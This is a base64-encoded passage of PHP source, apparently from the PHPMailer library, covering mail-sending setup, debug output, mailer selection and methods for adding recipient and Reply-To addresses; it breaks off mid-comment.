CogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRv